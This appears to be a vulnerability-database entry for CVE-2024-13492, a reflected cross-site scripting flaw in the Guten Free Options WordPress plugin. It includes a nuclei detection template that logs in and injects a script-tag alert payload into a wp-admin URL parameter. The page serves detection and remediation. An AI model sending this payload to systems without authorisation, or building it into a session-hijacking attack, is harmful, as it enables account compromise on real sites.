HexBrain

Browse / CVEs / CVE-2024-13492

CVE-2024-13492· wordquest / guten free options· CWE-79

Guten Free Options - Cross Site Scripting

mediumseverity
6.1CVSS score
0.6%likelihood of exploitation, next 30 days
48%of all CVEs are less likely
Readycheck to confirm it

Guten Free Options WordPress plugin <= 0.9.5 contains a reflected cross-site scripting caused by unsanitized parameter output, letting attackers execute malicious scripts in high privilege users' browsers, exploit requires victim to click malicious link.

Impact

Attackers can execute malicious scripts in high privilege users' browsers, potentially leading to session hijacking or account compromise.

Fix

Update to the latest version of the plugin where the issue is fixed.

How to confirm it

Send: POST /wp-login.php
Positive when: contains(header, "wordpress_logged_in")
Send: GET /wp-admin/edit.php?post_type=page&editor=1"></script><script>alert(document.domain)</script><script>`
Positive when: status_code == 200 and contains_all(body, "></script><script>alert(document.domain)</script><script>`")

Run it with nuclei: nuclei -id CVE-2024-13492 -u <target>

The full check
id: CVE-2024-13492

info:
  name: Guten Free Options - Cross Site Scripting
  author: Sourabh-Sahu
  severity: medium
  description: |
    Guten Free Options WordPress plugin <= 0.9.5 contains a reflected cross-site scripting caused by unsanitized parameter output, letting attackers execute malicious scripts in high privilege users' browsers, exploit requires victim to click malicious link.
  impact: |
    Attackers can execute malicious scripts in high privilege users' browsers, potentially leading to session hijacking or account compromise.
  remediation: |
    Update to the latest version of the plugin where the issue is fixed.
  reference:
    - https://wpscan.com/vulnerability/a4a75b75-4801-4ed4-bcc6-4874ac169562/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2024-13492
    cwe-id: CWE-79
    epss-score: 0.00584
    epss-percentile: 0.48263
    cpe: cpe:2.3:a:wordquest:guten_free_options:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: wordquest
    product: guten_free_options
  tags: cve,cve2024,wordquest,guten-free-options,authenticated,wordpress,wp,wp-plugin,xss

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In&redirect_to=

    matchers:
      - type: dsl
        dsl:
          - contains(header, "wordpress_logged_in")
        internal: true

  - raw:
      - |
        GET /wp-admin/edit.php?post_type=page&editor=1"></script><script>alert(document.domain)</script><script>` HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains_all(body, "></script><script>alert(document.domain)</script><script>`")
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from